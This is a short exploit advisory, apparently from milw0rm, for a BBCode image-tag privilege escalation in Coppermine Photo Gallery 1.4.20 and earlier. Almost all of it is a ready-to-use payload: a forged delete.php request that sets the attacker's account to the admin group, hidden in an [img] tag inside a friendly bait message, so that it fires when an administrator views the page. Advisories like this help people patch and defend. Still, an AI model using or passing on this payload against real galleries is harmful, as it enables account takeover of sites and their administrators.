Coppermine Photo Gallery <= 1.4.20 (BBCode IMG) Privilege Escalation+--------------------------------------------------------------------------+ | Coppermine Photo Gallery <= 1.4.20 (BBCode IMG) Privilege Escalation PoC | +--------------------------------------------------------------------------+ | by Juri Gianni aka yeat - staker[at]hotmail[dot]it | | http://coppermine-gallery.net | | Don't add me on msn messenger. | | This vulnerability can be named as "bbcode img tag script injection" | +--------------------------------------------------------------------------+ | Proof of Concept (an example,to understand it) | +--------------------------------------------------------------------------+ URL: http://[host]/[path]/delete.php?id=u[ID]&u[ID]=&action=change_group&what=user&new_password=&group=1&delete_files=no&delete_comments=no [img]URL[/img] +--------------------------------------------------------------------------+ | Modify [ID] with your user id. | | Go http://[host]/[path]/displayimage.php?album=random&pos=[album id] | +--------------------------------------------------------------------------+ Insert the below code into a new message hey admin,nice web site :) [img]http://[host]/[path]/delete.php?id=u3&u3=&action=change_group&what=user&new_password=&group=1&delete_files=no&delete_comments=no[/img] +-------------------------------------------------------------------------+ | The fake image doesn't show errors,you'll see "hey admin,nice web site" | | You'll become admin when the real admin will visit the page | +-------------------------------------------------------------------------+ # milw0rm.com [2009-02-26]